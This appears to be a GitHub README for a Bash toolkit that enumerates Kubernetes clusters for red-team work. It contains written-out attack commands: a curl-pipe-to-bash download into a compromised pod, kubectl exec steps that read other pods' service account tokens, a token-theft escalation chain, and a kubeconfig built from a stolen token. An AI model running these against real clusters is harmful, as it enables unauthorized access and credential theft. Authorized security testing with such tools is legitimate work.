ahrixia/k8s-enum.sh

GitHub: ahrixia/k8s-enum.sh

一款基于 Bash 的 Kubernetes 枚举工具,支持外部与 Pod 内部场景,帮助红队快速识别权限提升与配置缺陷。

Stars: 13 | Forks: 0

# k8s-enum.sh

Kubernetes Bash License Version

用于渗透测试和红队操作的 Kubernetes 枚举工具

image ## 🎯 什么是 k8s-enum.sh? **k8s-enum** 是一套用于渗透测试人员、红队成员和安全研究人员的 Kubernetes 安全枚举脚本。灵感来源于 [LinPEAS](https://github.com/carlospolop/PEASS-ng),这些工具提供全面的枚举功能,并使用彩色输出高亮显示权限提升向量和配置错误。 该工具包包含两个专用脚本: - **`k8s-enum.sh`** - 使用 kubeconfig 文件进行外部枚举 - **`k8s-pod-enum.sh`** - 从被攻陷的 Pod 内部进行内部枚举 ## 📦 包含的工具 ### 1. k8s-enum.sh(外部枚举) 当你获取了 kubeconfig 文件或服务账户令牌,并希望从攻击机枚举集群时使用。 ``` ./k8s-enum.sh --profile ``` ### 2. k8s-pod-enum.sh(Pod 内部枚举) 当你已攻陷一个容器/Pod,并希望从集群内部枚举 Kubernetes 访问权限时使用。 ``` ./k8s-pod-enum.sh ``` ## 🚀 快速开始 ### 外部枚举(使用 kubeconfig) ``` # Clone the repository git clone https://github.com/ahrixia/k8s-enum.sh.git cd k8s-enum # Make executable chmod +x k8s-enum.sh # Run with your kubeconfig ./k8s-enum.sh --profile ./stolen-kubeconfig.yaml # Enumerate specific namespace ./k8s-enum.sh --profile ./config.yaml --namespace kube-system # Enumerate all namespaces ./k8s-enum.sh --profile ./config.yaml --all-ns ``` ### 内部枚举(来自被攻陷的容器) ``` # Download directly into compromised pod curl -O https://raw.githubusercontent.com/ahrixia/k8s-enum.sh/main/k8s-pod-enum.sh chmod +x k8s-pod-enum.sh ./k8s-pod-enum.sh # Or one-liner curl -sL https://raw.githubusercontent.com/ahrixia/k8s-enum.sh/main/k8s-pod-enum.sh | bash ``` ## ✨ 功能特性 ### 彩色输出(LinPEAS 风格) | 颜色 | 含义 | |-------|---------| | 🔴 **红色(加粗)** | CRITICAL - 立即可能的权限提升 | | 🔴 **红色** | HIGH - 严重的安全发现 | | 🟡 **黄色** | MEDIUM - 潜在的安全问题 | | 🟢 **绿色** | LOW/INFO - 信息性发现 | | 🔵 **青色** | 常规信息 | ### k8s-enum.sh 功能 - ✅ **权限枚举** - `auth can-i --list` 及其分析 - ✅ **危险权限检测** - 高亮 exec、secrets、impersonate、创建 Pod - ✅ **命名空间枚举** - 列出所有可访问的命名空间 - ✅ **Pod 枚举** - 列出 Pod 及其服务账户信息 - ✅ **服务枚举** - 识别暴露的 NodePort/LoadBalancer 服务 - ✅ **密钥枚举** - 列出可访问的密钥 - ✅ **服务账户枚举** - 跨命名空间映射服务账户 - ✅ **CronJob 分析** - 识别具有特权服务账户的定时任务 - ✅ **RBAC 枚举** - 角色、集群角色、绑定 - ✅ **模拟检测** - 查找模拟目标 - ✅ **可操作建议** - 针对每个发现的“下一步操作” ### k8s-pod-enum.sh 功能 - ✅ **自动检测** 挂载的服务账户令牌 - ✅ **JWT 令牌解码** - 提取服务账户名称、命名空间、Pod 信息 - ✅ **无需 kubectl** - 回退到使用 curl 调用 API - ✅ **容器逃逸向量** - 检查 docker.sock、主机挂载、能力 - ✅ **云元数据访问** - AWS/GCP/Azure IMDS 检查 - ✅ **网络枚举** - 接口、端口、内部服务 - ✅ **权限提升路径** - 识别权限提升机会 ## 🔍 检查内容 ### 权限分析 脚本会特别检查以下危险权限: | 权限 | 风险级别 | 影响 | |------------|------------|--------| | `pods/exec create` | CRITICAL | 任意 Pod 中的远程代码执行 | | `secrets get/list` | CRITICAL | 凭据提取 | | `pods create` | CRITICAL | 通过特权 Pod 进行容器逃逸 | | `serviceaccounts impersonate` | CRITICAL | 权限提升 | | `rolebindings create` | CRITICAL | 自我权限提升 | | `serviceaccounts/token create` | HIGH | 为其他服务账户生成令牌 | | `cronjobs create` | HIGH | 持久化机制 | | `daemonsets create` | HIGH | 集群范围代码执行 | ### 容器逃逸向量(Pod 内部) - Docker 套接字(`/var/run/docker.sock`) - 主机文件系统挂载(`/host`、`/hostfs`、`/rootfs`) - 特权容器检测 - 主机命名空间访问(PID、网络、IPC) - Linux 能力分析 - 云元数据服务访问 ## 📸 截图 image image ## 🛠️ 使用示例 ### 场景 1:被盗的 kubeconfig ``` # You obtained a kubeconfig from a developer's laptop ./k8s-enum.sh --profile ./dev-kubeconfig.yaml # Check what the service account can do # If it finds impersonation, try: kubectl --kubeconfig=./dev-kubeconfig.yaml auth can-i --list \ --as=system:serviceaccount:default:admin-sa ``` ### 场景 2:被攻陷的 Pod ``` # Inside a compromised container ./k8s-pod-enum.sh # If it finds pods/exec permission, pivot: kubectl exec -it other-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token ``` ### 场景 3:权限提升链 ``` # 1. Enumerate with low-priv SA ./k8s-enum.sh --profile ./low-priv.yaml # 2. Find cronjob with higher-priv SA kubectl get cronjob -o yaml | grep serviceAccount # 3. Exec into cronjob pod, steal token kubectl exec -it cronjob-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token # 4. Create new kubeconfig with stolen token # 5. Re-enumerate with higher privileges ./k8s-enum.sh --profile ./high-priv.yaml ``` ## 📋 命令参考 ### k8s-enum.sh | 参数 | 描述 | |------|-------------| | `--profile, -p` | kubeconfig 文件路径(必需) | | `--namespace, -n` | 指定目标命名空间 | | `--all-ns` | 枚举所有命名空间 | | `--quick` | 跳过慢速检查(RBAC、模拟) | | `--help, -h` | 显示帮助信息 | ### k8s-pod-enum.sh | 参数 | 描述 | |------|-------------| | `--api-server, -a` | 覆盖 API 服务器 URL | | `--help, -h` | 显示帮助信息 | ## 🔧 从令牌构建 Kubeconfig 当你提取了服务账户令牌,创建 kubeconfig: ``` apiVersion: v1 kind: Config clusters: - name: target-cluster cluster: server: https://:443 certificate-authority-data: users: - name: stolen-sa user: token: contexts: - name: attack-context context: cluster: target-cluster user: stolen-sa namespace: current-context: attack-context ``` 或使用单行命令: ``` kubectl config set-cluster k8s --server=https://:443 --certificate-authority=ca.crt kubectl config set-credentials user --token=$(cat token) kubectl config set-context ctx --cluster=k8s --user=user kubectl config use-context ctx ``` 这些工具是在 **K8s-RTA(Kubernetes 红队分析师)** 考试中开发并使用的。 ## ⚠️ 免责声明 这些工具仅供**授权安全测试**使用。仅在你明确获得许可的系统上使用这些脚本。未经授权访问计算机系统是非法的。 作者不对这些工具的误用或造成的损害负责。 ## 📄 许可证 本项目根据 MIT 许可证授权 - 详细信息请参见 [LICENSE](LICENSE) 文件。

如果你觉得有用,请给它一颗 ⭐!

标签:Bash, DevOps安全, kubeconfig, Pod枚举, Shell脚本, Web截图, 内部枚举, 协议分析, 反取证, 外部枚举, 子域名突变, 安全评估, 容器安全, 应用安全, 开源安全工具, 权限提升, 枚举工具, 红队操作, 逆向工程平台